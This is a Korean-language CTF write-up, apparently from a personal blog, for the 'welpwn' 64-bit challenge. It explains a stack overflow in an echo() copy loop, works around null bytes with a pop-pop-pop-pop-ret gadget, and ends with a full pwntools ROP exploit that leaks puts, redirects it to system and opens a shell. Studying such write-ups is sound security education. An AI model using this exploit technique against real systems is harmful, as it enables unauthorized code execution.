보호기법은 NX만 걸려있고 64비트다.
일단 실행시켜봤다.
처음에 aa를 입력했는데 입력한 문자열을 출력해주는데 자세히 보면 \n 이후에 ??라는 문자열이 출력되었다.
그 다음은 asdf를 입력했는데 이번엔 출력이 되지 않았다. 뭔가 이상한데 일단 ida로 봐야겠다.
ida로 main()함수를 봤는데 read로 1024바이트를 buf에 입력한다.
하지만 buf의 크기는 딱 1024바이트이므로 오버플로우가 일어나지 않는다...
그 다음 echo()함수로 아까 봤듯이 입력한 buf에 있는 값을 출력해주는 것으로 유추된다.
한번 직접 봐야겠다.
보면 s2[16]이라는 변수가 선언되었고 for문으로 buf의 값을 이곳에 이동시킨다.
그리고 printf()로 s2의 값을 출력하면서 종료된다.
일단 이 함수에서 for문을 통해 스택을 오버플로우를 시킬 수 있다.
잘 보면 먼저 main함수의 스택의 맨 위에 있는 AAAAAAAA가 0x7fffffffdf70에 있고 여기에 있던 값이 for문을 통해 0x7fffffffdf50부터 들어간 것이다.
그리고 ret와의 거리는 24바이트가 차이가 난다.
24바이트의 더미를 입력하고 rop를 하면 문제가 풀릴것처럼 보인다.
하지만 결과는..
rbp+0x8부터 그 이후에 가젯과 여러가지 값들이 전부 복사가 안됐다..
왜 그런가 하면 for문에서 null바이트까지만 값을 받기 때문이다..
rop가 불가능한 것이다.
하지만 역시나 똑똑하신 분들의 라업을 보니 이 불필요한 놈들을 pop 시켜버려서 내가 입력한 가젯까지 esp를 이동시키는 대단한 방법을 사용하셨더라..
즉 다시보면 0x7fffffffdf70부터 0x7fffffffdf88까지를 pop시켜버리면 esp가 0x7fffffffdf90까지 이동하고 0x7fffffffdf90부터 ret를 진행하면 rop가 된다!
이제 총 4개의 pop을 해야하므로 rp++로 pop pop pop pop ret가젯을 찾고, 그 주소를 echo()함수의 ret에 들어가게 한다.
그 다음 rop에 필요한 가젯들을 찾는데..
또 난관이 왔다.
pop rdi ; pop rsi ; pop rdx ; ret ;가 없다..
그래서 라업을 보니까 pop rdi와 pop rsi 가젯을 따로따로 찾아서 rop를 진행했더라..
이렇게 한개씩 한개씩 하면 된다. 근데 또 pop rdx ; 가 없는 게 문제다.
그치만 pop rsi ; pop r15 ; ret ; 가젯은 있는데 다른분들은 이 가젯을 이용해서 풀었더라..
이게 어떻게 가능한지 디버깅을 해서 레지스터를 보니 내가 생각한게 맞는지는 모르지만 거의 맞다고 생각된다.(틀린거면 댓글 달아주세요..)
pop rdx를 하지 않았는데 이미 rdx에 어느정도 큰 수의 값이 들어가 있었다.
rdx에 0x7ffff7dd3780라는 어마한 값이 들어가 있다.
즉 140737351858048바이트를 read할 수 있다는 것이다. 어차피 8바이트정도만 필요하지만 어쨋든 작게 설정된 것보단 좋으니 read()함수의 인자는 충분히 채울 수 있다.
exploit code
from pwn import * r = process("./welpwn_932a4428ea8d4581431502ab7e66ea4b") elf = ELF("./welpwn_932a4428ea8d4581431502ab7e66ea4b") print r.recv() ppppr = 0x40089c pop_rdi = 0x004008a3 pop_rsi_r15 = 0x004008a1 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] read_plt = elf.plt['read'] system_offset = 0x2a300 #puts - system bss = elf.bss() cmd = "/bin/sh" payload = "A"*24 payload += p64(ppppr) payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(pop_rdi) payload += p64(0) payload += p64(pop_rsi_r15) payload += p64(puts_got) payload += p64(0) payload += p64(read_plt) payload += p64(pop_rdi) payload += p64(0) payload += p64(pop_rsi_r15) payload += p64(bss) payload += p64(0) payload += p64(read_plt) payload += p64(pop_rdi) payload += p64(bss) payload += p64(puts_plt) r.sendline(payload) r.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAA") r.recv(3) libc_puts = u64(r.recv(6) + "\x00\x00") log.info("libc_puts = {}".format(hex(libc_puts))) libc_system = libc_puts - system_offset log.info("libc_system = {}".format(hex(libc_system))) r.sendline(p64(libc_system)) r.sendline(cmd) r.interactive()
'CTF' 카테고리의 다른 글
Plaid 2014 ezhp (0) | 2018.08.12 |
---|---|
CodeGate2017 messenger (0) | 2018.08.07 |
EasyCTF2017 Simple ROP (0) | 2018.08.01 |
Def-camp warmheap (0) | 2018.07.31 |
CodeGate2016 watermelon (0) | 2018.07.26 |